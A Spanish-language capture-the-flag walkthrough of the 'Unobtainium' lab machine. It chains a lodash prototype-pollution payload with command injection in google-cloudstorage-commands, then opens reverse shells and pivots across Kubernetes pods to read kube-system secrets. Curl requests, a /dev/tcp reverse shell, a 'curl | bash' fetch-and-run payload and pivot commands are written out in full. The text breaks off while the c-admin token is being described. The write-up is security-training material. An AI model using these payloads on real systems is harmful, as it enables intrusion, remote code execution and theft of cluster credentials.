Unobtainium


Comenzamos explotando una vulnerabilidad de prototype pollution. Luego, aprovechamos un CVE de inyección de comandos para ganar una shell en un contenedor. Para la escalada de privilegios, pivotamos entre contenedores de Kubernetes y analizamos los secretos de un namespace. Finalmente, utilizando el permiso para crear pods, logramos salir del contenedor.

June 18, 202418 minutes

Reconocimiento

Para empezar lo primero es comprobar si la máquina está activa y que OS tiene

ping -c 1 10.10.10.235
PING 10.10.10.235 (10.10.10.235) 56(84) bytes of data.
64 bytes from 10.10.10.235: icmp_seq=1 ttl=63 time=175 ms

--- 10.10.10.235 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 175.026/175.026/175.026/0.000 ms

Tenemos conexión y en este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux

Escaneo de puertos

Ahora empezamos con un escaneo de puertos

$ sudo nmap -p- --open -sS --min-rate 5000 -n -Pn -vvv 10.10.10.235 -oG allPorts
Explicación parámetros
ParámetroFunción
-p-Para que el escaneo sea a todos los puertos (65536)
–openPara que solo reporte los puertos abiertos
–min-rate 5000Definir el tiempo del escaneo
-nOmitir resolución DNS
-vvvPara que vaya reportando lo que encuentre por consola
-PnPara saltar la comprobación de sí la máquina está activa o no
-oG allPortsPara que guarde el escaneo en format grepeable en un archivo llamado allPort

Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual

Función extractPorts de @s4vitar

> extractPorts allPorts
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.10.235
   5   │     [*] Open ports: 22,80,8443,31337,10250,10251
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Ahora con nmap vamos a intentar buscar las versiones de los servicios que corren por los puertos y ejecutar scripts básicos de reconocimientos de nmap

> nmap -p22,80,8443,31337,10250,10251 -sCV 10.10.10.235 -oN versions

PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18💿9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp    open  http          Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Unobtainium
8443/tcp  open  ssl/https-alt
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: aafb70ca-6fef-48e4-9836-d57c119bed8d
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Wed, 12 Jun 2024 22:07:50 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: ea15ea5d-000a-4a41-a427-8815265b480b
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Wed, 12 Jun 2024 22:07:50 GMT
|     Content-Length: 129
|     {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
|   HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Audit-Id: 746cb85a-03d1-4509-8e50-d3911982b1fa
|     Cache-Control: no-cache, private
|     Content-Type: application/json
|     Date: Wed, 12 Jun 2024 22:07:50 GMT
|     Content-Length: 129
|_    {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=k3s/organizationName=k3s
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster.local, DNS:localhost, DNS:unobtainium, IP Address:10.10.10.235, IP Address:10.129.136.226, IP Address:10.43.0.1, IP Address:127.0.0.1
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2024-10-26T13:35:54
|_http-title: Site doesn't have a title (application/json).
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
10250/tcp open  ssl/http      Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
| ssl-cert: Subject: commonName=unobtainium
| Subject Alternative Name: DNS:unobtainium, DNS:localhost, IP Address:127.0.0.1, IP Address:10.10.10.235
| Not valid before: 2022-08-29T09:26:11
|_Not valid after:  2025-06-12T21:59:31
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10251/tcp open  unknown
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Wed, 12 Jun 2024 22:08:10 GMT
|     Content-Length: 19
|     page not found
|   GenericLines, Help, Kerberos, LPDString, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 404 Not Found
|     Cache-Control: no-cache, private
|     Content-Type: text/plain; charset=utf-8
|     X-Content-Type-Options: nosniff
|     Date: Wed, 12 Jun 2024 22:07:44 GMT
|     Content-Length: 19
|_    page not found
31337/tcp open  http          Node.js Express framework
| http-methods: 
|_  Potentially risky methods: PUT DELETE
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
Explicación parámetros
ParámetroFunción
-pEspecificamos los puertos abiertos que hemos encontrado con el escaneo anterior
-sCPara que realice scripts básicos de reconocimiento
-sVProporciona la versión e información de los servicios que corren por los puertos

App

Comenzamos accediendo al sitio web que se encuentra en el puerto 80.

Parece que la máquina aloja una aplicación de chat. Desde la página web, podemos descargar la aplicación.

Al descargar, obtenemos un archivo comprimido llamado unobtainium_debian.zip.

> ls | grep unobtainium    

unobtainium_debian.zip

Después de descomprimirlo, encontramos un archivo .deb, que instalamos con sudo apt install ./unobtainium_1.0.0_amd64.deb.

Una vez ya lo tenemos instalado, lo ejecutamos con el comando unobtainium.

Al ejecutarse, se abre una ventana, que nos dice que no encuentra el dominio unobtainium.htb, para que lo encuentre lo añadimos en el /etc/hosts apuntando a la ip de la máquina víctima. Con este mensaje deducimos que la aplicación no funciona solo en local, sino que se conecta a un servidor…

La aplicación tiene 3 funciones:

Message Log:

Post Message:

Todo:

Como vimos antes, esta aplicación se conecta al servidor unobtainium.htb, asi que con wireshark vamos a interceptar que comunicaciones se están produciendo entre la aplicación y el servidor cuando hacemos alguna de las 3 funciones mencionadas anteriormente.

Post Message:

Se está mandando una petición con el método PUT a unobtainium.htb:31337. Como data estamos mandando en json lo siguiente:

{
  "auth": {
    "name": "felamos",
    "password": "Winter2021"
  },
  "message": {
    "text": "Testing3"
  }
}

Al principio se lleva a cabo una autentificación un usuario y contraseña y después se manda el mensaje.

Message Log:

Simplemente, se hace una petición GET a unobtainium.htb:31337, y en la respuesta vemos el log de los mensajes enviados al servidor

{
  "icon": "__",
  "text": "Testing3",
  "id": 1,
  "timestamp": 1718709973974,
  "userName": "felamos"
}

Todo:

En la sección de todo, se hace una petición con el método POST a unobtainium.htb:31337/todo, y como data ponemos lo que parece ser el nombre de un archivo

{
  "auth": {
    "name": "felamos",
    "password": "Winter2021"
  },
  "filename": "todo.txt"
}

En la respuesta, vemos lo que parece ser el contenido de dicho archivo

{
  "ok": true,
  "content": [
    "1. Create administrator zone.",
    "2. Update Node.js API Server.",
    "3. Add Login functionality.",
    "4. Complete Get Messages feature.",
    "5. Complete ToDo feature.",
    "6. Implement Google Cloud Storage function: https://cloud.google.com/storage/docs/json_api/v1",
    "7. Improve security"
  ]
}

Con esto lo primero que se nos puede pasar por la cabeza es un lfi

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"/etc/passwd"}'

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"../../../../../../../etc/passwd"}'

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"....//....//....//....//....//....//....//etc/passwd"}'

Pero no conseguimos ver el /etc/passwd

Si recordamos, nmap dijo que estábamos ante un NodeJS en el puerto 31337, así que en la raíz del proyecto tiene que haber un index.js, vamos a intentar verlo

curl -s -X POST http://unobtainium.htb:31337/todo -H 'Content-Type: application/json' -d '{"auth":{"name":"felamos","password":"Winter2021"},"filename":"index.js"}'   
{"ok":true,"content":"var root = require(\"google-cloudstorage-commands\");\nconst express = require('express');\nconst { exec } = require(\"child_process\");\nconst bodyParser = require('body-parser');\nconst _ = require('lodash');\nconst app = express();\nvar fs = require('fs');\n\nconst users = [\n  {name: 'felamos', password: 'Winter2021'},\n  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},\n];\n\nlet messages = [];\nlet lastId = 1;\n\nfunction findUser(auth) {\n  return users.find((u) =>\n    u.name === auth.name &&\n    u.password === auth.password);\n}\n\napp.use(bodyParser.json());\n\napp.get('/', (req, res) => {\n  res.send(messages);\n});\n\napp.put('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  const message = {\n    icon: '__',\n  };\n\n  _.merge(message, req.body.message, {\n    id: lastId++,\n    timestamp: Date.now(),\n    userName: user.name,\n  });\n\n  messages.push(message);\n  res.send({ok: true});\n});\n\napp.delete('/', (req, res) => {\n  const user = findUser(req.body.auth || {});\n\n  if (!user || !user.canDelete) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n  messages = messages.filter((m) => m.id !== req.body.messageId);\n  res.send({ok: true});\n});\napp.post('/upload', (req, res) => {\n  const user = findUser(req.body.auth || {});\n  if (!user || !user.canUpload) {\n    res.status(403).send({ok: false, error: 'Access denied'});\n    return;\n  }\n\n\n  filename = req.body.filename;\n  root.upload(\"./\",filename, true);\n  res.send({ok: true, Uploaded_File: filename});\n});\n\napp.post('/todo', (req, res) => {\n        const user = findUser(req.body.auth || {});\n        if (!user) {\n                res.status(403).send({ok: false, error: 'Access denied'});\n                return;\n        }\n\n        filename = req.body.filename;\n        testFolder = \"/usr/src/app\";\n        fs.readdirSync(testFolder).forEach(file => {\n                if (file.indexOf(filename) > -1) {\n                        var buffer = fs.readFileSync(filename).toString();\n                        res.send({ok: true, content: buffer});\n                }\n        });\n});\n\napp.listen(3000);\nconsole.log('Listening on port 3000...');\n"}
var root = require("google-cloudstorage-commands");
const express = require('express');
const { exec } = require("child_process");
const bodyParser = require('body-parser');
const _ = require('lodash');
const app = express();
var fs = require('fs');

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

let messages = [];
let lastId = 1;

function findUser(auth) {
  return users.find((u) =>
    u.name === auth.name &&
    u.password === auth.password);
}

app.use(bodyParser.json());

app.get('/', (req, res) => {
  res.send(messages);
});

app.put('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '__',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

app.delete('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user || !user.canDelete) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  messages = messages.filter((m) => m.id !== req.body.messageId);
  res.send({ok: true});
});

app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  filename = req.body.filename;
  root.upload("./", filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

app.post('/todo', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  filename = req.body.filename;
  testFolder = "/usr/src/app";
  fs.readdirSync(testFolder).forEach(file => {
    if (file.indexOf(filename) > -1) {
      var buffer = fs.readFileSync(filename).toString();
      res.send({ok: true, content: buffer});
    }
  });
});

app.listen(3000);
console.log('Listening on port 3000...');

Ahora ya tenemos mucha más información sobre la aplicación.

Al principio del código se declaran 2 usuarios:

const users = [
  {name: 'felamos', password: 'Winter2021'},
  {name: 'admin', password: Math.random().toString(32), canDelete: true, canUpload: true},
];

Felamos ya lo conocíamos, pero aparece un usuario nuevo, admin, la password no la podemos ver, ya que es random y se genera durante la ejecución. Aparte del nombre y la contraseña, vemos que hay 2 ‘roles’: canDelete y canUpload, el admin, tiene los 2 en True, pero Felamos, no tiene ninguno de los 2.

Encontramos una función nueva, upload, esta función solo la pueden hacer los usuarios con rol can Upload.

app.post('/upload', (req, res) => {
  const user = findUser(req.body.auth || {});
  if (!user || !user.canUpload) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  filename = req.body.filename;
  root.upload("./", filename, true);
  res.send({ok: true, Uploaded_File: filename});
});

El archivo se sube con root.upload, pero de donde sale eso?

En la parte superior del código se importa google-cloudstorage-commands

var root = require("google-cloudstorage-commands");

Con una búsqueda en internet, descubrimos que es vulnerable a un OS command injection: https://security.snyk.io/vuln/SNYK-JS-GOOGLECLOUDSTORAGECOMMANDS-1050431

Este es el PoC:

var root = require("google-cloudstorage-commands");
root.upload("./","& touch JHU", true);

Parece que es un OS Command Inejction muy simple.

Esto está muy bien, pero no podemos subir archivos, ya que el usuario Felamos no tiene el rol para hacerlo. Vamos a seguir enumerando…

En la función de subida de mensajes, vemos como se hace un merge sin sanitización de prototype pollution

app.put('/', (req, res) => {
  const user = findUser(req.body.auth || {});

  if (!user) {
    res.status(403).send({ok: false, error: 'Access denied'});
    return;
  }

  const message = {
    icon: '__',
  };

  _.merge(message, req.body.message, {
    id: lastId++,
    timestamp: Date.now(),
    userName: user.name,
  });

  messages.push(message);
  res.send({ok: true});
});

Podemos intentar hacer un prototype pollution y poner canUpload en true, el prototype pollution lo podemos colar en req.body.message.

curl -X PUT \                                                                                                                                                                 
  -H "Content-Type: application/json" \
  -d '{
        "auth": {
            "name": "felamos",
            "password": "Winter2021"
        },   
        "message": {
            "test": "something",
            "__proto__": {
                "canUpload": true
            }
        }
    }' \ 
  http://unobtainium.htb:31337

Ahora TODOS los usuarios tendrán el canUpload en true.

┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'                              
{"ok":false,"error":"Access denied"}                 



┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://unobtainium.htb:31337
{"ok":true}


┌──(d3bo㉿kali)-[~/Downloads]
└─$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "malicious-script.js"}'                              
{"ok":true,"Uploaded_File":"malicious-script.js"}                                                                                                                                                                                                                                            

Ya podemos subir archivos!

Si recordamos el CVE que detectamos anteriormente, podemos usarlo para ejecutar comandos. Para comprobar que tenemos ejecución remota de comandos, nos ponemos en escucha de paquetes icmp con tcpdump por la interfaz tun 0

$ sudo tcpdump -i tun0 icmp

Y mandamos el payload

$ curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& ping -c 1 10.10.14.47"}' 
{"ok":true,"Uploaded_File":"& ping -c 1 10.10.14.47"}

Funicona!!!

Nos llega el paquete icmp

16:18:51.721013 IP unobtainium.htb > 10.10.14.47: ICMP echo request, id 51165, seq 1, length 64
16:18:51.721055 IP 10.10.14.47 > unobtainium.htb: ICMP echo reply, id 51165, seq 1, length 64

Para conseguir la reverse shell creamos un archivo llamado shell y dentro le ponemos el código de la reverse shell, y posteriormente creamos un servidor con python para poder acceder a este archivo desde la máquina víctima

$ cat shell 
bash -c "bash -i >& /dev/tcp/10.10.14.47/443 0>&1"
                                                                                                                                                                              
$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Nos ponemos en escucha por el puerto 443 para recibir la reverse shell

nc -nlvp 443

Y por último mandamos el payload

curl -X POST unobtainium.htb:31337/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.10.14.47/shell | bash"}'

Ya tenemos la reverse shell

$ nc -nlvp 443 

listening on [any] 443 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 9372
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-zjnnh:/usr/src/app# 

Antes de seguir, vamos a hacer un tratamiento de la tty para poder ejecutar ctr + c, ctrl + l, nano…

script /dev/null -c bash

ctrl + z

stty raw -echo; fg
reset xterm

Ahora si hacemos un echo $TERM vemos que vale dumb, pero para poder hacer ctrl + l necesitamos que valga xterm

export TERM=xterm

Por último si miramos la shell que tenemos echo $SHELL vemos que tenemos /usr/sbin/nologin asi que vamos a asignar una bash

export SHELL=bash

Escalada de privilegios

Estamos dentro de un contenedor como root, así que tenemos que conseguir salir. Para enumerar el contenedor usamos linpeas.sh, que es una herramienta para automatizar el reconocimiento para escaladas de privilegios y contendores.

Para enumerar kubernetes vamos a subir el binario kubectl a la máquina

Comprobamos si podemos listar namespaces

root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl auth can-i list namespaces
Warning: resource 'namespaces' is not namespace scoped

yes

Efectivamente, podemos, así que los listamos

root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get namespaces
NAME              STATUS   AGE
default           Active   659d
kube-system       Active   659d
kube-public       Active   659d
kube-node-lease   Active   659d
dev               Active   659d

Hay una namespace que llama la atención por su nombre dev, lo que podemos hacer ahora es listar los pods del namespace dev

root@webapp-deployment-9546bc7cb-zjnnh:~# ./kubectl get pods -n dev
NAME                                  READY   STATUS    RESTARTS       AGE
devnode-deployment-776dbcf7d6-g4659   1/1     Running   6 (235d ago)   659d
devnode-deployment-776dbcf7d6-7gjgf   1/1     Running   6 (235d ago)   659d
devnode-deployment-776dbcf7d6-sr6vj   1/1     Running   6 (235d ago)   659d

Una vez tenemos los pods, hacemos un describe, para ver más info del primer pod

./kubectl describe pods/devnode-deployment-776dbcf7d6-g4659 -n dev

Name:             devnode-deployment-776dbcf7d6-g4659
Namespace:        dev
Priority:         0
Service Account:  default
Node:             unobtainium/10.10.10.235
Start Time:       Mon, 29 Aug 2022 09:32:21 +0000
Labels:           app=devnode
                  pod-template-hash=776dbcf7d6
Annotations:      <none>
Status:           Running
IP:               10.42.0.62
IPs:
  IP:           10.42.0.62
Controlled By:  ReplicaSet/devnode-deployment-776dbcf7d6
Containers:
  devnode:
    Container ID:   docker://733280337cc5998774d1a54dd9c8d0bc59f09053952f497050267389b18c08a9
    Image:          localhost:5000/node_server
    Image ID:       docker-pullable://localhost:5000/node_server@sha256:e965afd6a7e1ef3093afdfa61a50d8337f73cd65800bdeb4501ddfbc598016f5
    Port:           3000/TCP
    Host Port:      0/TCP
    State:          Running
      Started:      Tue, 18 Jun 2024 11:08:53 +0000
    Last State:     Terminated
      Reason:       Error
      Exit Code:    137
      Started:      Fri, 27 Oct 2023 15:17:48 +0000
      Finished:     Fri, 27 Oct 2023 15:24:53 +0000
    Ready:          True
    Restart Count:  6
    Environment:    <none>
    Mounts:
      /root/ from user-flag (rw)
      /var/run/secrets/kubernetes.io/serviceaccount from kube-api-access-ww6h2 (ro)
Conditions:
  Type              Status
  Initialized       True 
  Ready             True 
  ContainersReady   True 
  PodScheduled      True 
Volumes:
  user-flag:
    Type:          HostPath (bare host directory volume)
    Path:          /opt/user/
    HostPathType:  
  kube-api-access-ww6h2:
    Type:                    Projected (a volume that contains injected data from multiple sources)
    TokenExpirationSeconds:  3607
    ConfigMapName:           kube-root-ca.crt
    ConfigMapOptional:       <nil>
    DownwardAPI:             true
QoS Class:                   BestEffort
Node-Selectors:              <none>
Tolerations:                 node.kubernetes.io/not-ready:NoExecute op=Exists for 300s
                             node.kubernetes.io/unreachable:NoExecute op=Exists for 300s
Events:                      <none>

Este pod tiene la ip 10.42.0.62 y el puerto 3000 abierto y nosotros estamos en la 10.42.0.70.

Si hacemos un curl al puerto 3000 del pod, parece que esté funcionando el mismo servicio que hemos vulnerado en el contenedor 10.42.0.70

root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.62:3000
[]

root@webapp-deployment-9546bc7cb-zjnnh:~# curl 10.42.0.70:3000
[{"icon":"__","test":"something","id":1,"timestamp":1718714423614,"userName":"felamos"}]root@webapp-deployment-9546bc7cb-zjnnh:~# 

Lo que podemos intentar es vulnerar el contenedor que está dentro del namespace dev y ver si tenemos algún tipo de privilegio especial dentro del contenedor

Para ello vamos a hacer un poco de pivoting…

Primero nos pasamos a la máquina víctima chisel y socat

Desde nuestra máquina abrimos un servidor con chisel por el puerto 1234

./chisel server --reverse -p 1234

Desde la máquina víctima nos conectamos a ese servidor

./chisel client 10.10.14.47:1234 R:socks &

Después en el archivo de configuración de proxychains abajo del todo añadimos

socks5  127.0.0.1 1080

Ahora ya deberíamos poder hacer un curl al puerto 3000 del pod del namespace dev desde nuestra máquina

sudo proxychains curl 10.42.0.62:3000 2>/dev/null

[]

Explotamos el prototype pollution

sudo proxychains curl -X PUT -H "Content-Type: application/json" -d '{"auth": {"name": "felamos", "password": "Winter2021"}, "message": {"test": "something","__proto__": {"canUpload": true}}}' http://10.42.0.62:3000 2>/dev/null

Para mandar la reverse shell, nos la podríamos mandar directamente, pero no me apetece, así que vamos a usar socat, para mandar la reverse shell al primer contendor y que el primer contenedor la redirija a nosotros con socat.

$ cat shell2               
bash -c "bash -i >& /dev/tcp/10.42.0.70/4433 0>&1"

$ sudo python3 -m http.server 80

Ejecutamos el socat en el primer contenedor, para que redirija la reverse shell a nuestra máquina.

./socat TCP-LISTEN:4433,fork TCP:10.10.14.47:4433

Ejecutamos un segundo socat para que cuando hagamos un curl para ver el código de la reverse shell a la ip 10.42.0.70 se redirija a nuestra ip

./socat TCP-LISTEN:80,fork TCP:10.10.14.47:80

Nos ponemos en escucha por el puerto 4433

nc -nlvp 443

Por último ejecutamos el payload y recibimos la shell.

sudo proxychains curl -X POST http://10.42.0.64:3000/upload -H "Content-Type: application/json" -d '{"auth": { "name": "felamos", "password": "Winter2021" },"filename": "& curl 10.42.0.70/shell2 | bash"}'
nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 24106
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@webapp-deployment-9546bc7cb-6r7sq:/usr/src/app# 

Dentro de este contenedor nos pasamos el kubectl para enumerar el kubernetes. Para pasarlo voy a aprovechar el socat que usamos antes, voy a hacer una petición a la 10.42.0.70/kubectl la cual el contenedor 10.42.0.70 la redirigirá a mi máquina.

wget 10.42.0.70/kubectl

Con kubectl podemos probar si en este contenedor tenemos permisos para enumerar secretos

root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n default
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-system
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-public
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n kube-node-lease
no
root@webapp-deployment-9546bc7cb-6r7sq:~# ./kubectl auth can-i get secrets -n dev
no

No tenemos ningún permiso distinto del otro pod. Dentro del namespace dev había más contenedores, así que vamos a probar de repetir el mismo proceso pero ahora para saltar al 10.42.0.62

nc -nlvp 4433
listening on [any] 4433 ...
connect to [10.10.14.47] from (UNKNOWN) [10.10.10.235] 48507
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# script /dev/null -c bash
<bcf7d6-g4659:/usr/src/app# script /dev/null -c bash   
Script started, file is /dev/null
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# 

Nos pasamos el kubectl

wget 10.42.0.70/kubectl

Volvemos a probar si tenemos permisos para enumerar secretos:

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n default
no
root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl auth can-i get secrets -n kube-system
yes

Podemos enumerar los secretos del namespace kube-system

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl get secrets -n kube-system

NAME                                                 TYPE                                  DATA   AGE
unobtainium.node-password.k3s                        Opaque                                1      659d
horizontal-pod-autoscaler-token-2fg27                kubernetes.io/service-account-token   3      659d
coredns-token-jx62b                                  kubernetes.io/service-account-token   3      659d
local-path-provisioner-service-account-token-2tk2q   kubernetes.io/service-account-token   3      659d
statefulset-controller-token-b25sg                   kubernetes.io/service-account-token   3      659d
certificate-controller-token-98jdq                   kubernetes.io/service-account-token   3      659d
root-ca-cert-publisher-token-t564t                   kubernetes.io/service-account-token   3      659d
ephemeral-volume-controller-token-brb5h              kubernetes.io/service-account-token   3      659d
ttl-after-finished-controller-token-wf8k9            kubernetes.io/service-account-token   3      659d
replication-controller-token-9m8mh                   kubernetes.io/service-account-token   3      659d
service-account-controller-token-6vsl2               kubernetes.io/service-account-token   3      659d
node-controller-token-dfztj                          kubernetes.io/service-account-token   3      659d
metrics-server-token-d4k84                           kubernetes.io/service-account-token   3      659d
pvc-protection-controller-token-btkqg                kubernetes.io/service-account-token   3      659d
pv-protection-controller-token-k8gq8                 kubernetes.io/service-account-token   3      659d
endpoint-controller-token-zd5b9                      kubernetes.io/service-account-token   3      659d
disruption-controller-token-cnqj8                    kubernetes.io/service-account-token   3      659d
cronjob-controller-token-csxvj                       kubernetes.io/service-account-token   3      659d
endpointslice-controller-token-wrnvm                 kubernetes.io/service-account-token   3      659d
pod-garbage-collector-token-56dzk                    kubernetes.io/service-account-token   3      659d
namespace-controller-token-g8jmq                     kubernetes.io/service-account-token   3      659d
daemon-set-controller-token-b68xx                    kubernetes.io/service-account-token   3      659d
replicaset-controller-token-7fkxv                    kubernetes.io/service-account-token   3      659d
job-controller-token-xctqc                           kubernetes.io/service-account-token   3      659d
ttl-controller-token-rsshv                           kubernetes.io/service-account-token   3      659d
deployment-controller-token-npk6k                    kubernetes.io/service-account-token   3      659d
attachdetach-controller-token-xvj9h                  kubernetes.io/service-account-token   3      659d
endpointslicemirroring-controller-token-b5r69        kubernetes.io/service-account-token   3      659d
resourcequota-controller-token-8pp4p                 kubernetes.io/service-account-token   3      659d
generic-garbage-collector-token-5nkzj                kubernetes.io/service-account-token   3      659d
persistent-volume-binder-token-865v2                 kubernetes.io/service-account-token   3      659d
expand-controller-token-f2csp                        kubernetes.io/service-account-token   3      659d
clusterrole-aggregation-controller-token-wp8k6       kubernetes.io/service-account-token   3      659d
default-token-h5tf2                                  kubernetes.io/service-account-token   3      659d
c-admin-token-b47f7                                  kubernetes.io/service-account-token   3      659d
k3s-serving                                          kubernetes.io/tls                     2      235d

Entre todos los secretos, llama la atención el c-admin-token-b47f7. Para ver su contenido usamos el siguiente comando

root@devnode-deployment-776dbcf7d6-g4659:/usr/src/app# ./kubectl describe secrets/c-admin-token-b47f7 -n kube-system

Name:         c-admin-token-b47f7stem659:/usr/src/app# ./kubectl2 describe secret
Namespace:    kube-system
Labels:       <none>
Annotations:  kubernetes.io/service-account.name: c-admin
              kubernetes.io/service-account.uid: 31778d17-908d-4ec3-9058-1e523180b14c

Type:  kubernetes.io/service-account-token

Data
====
namespace:  11 bytes
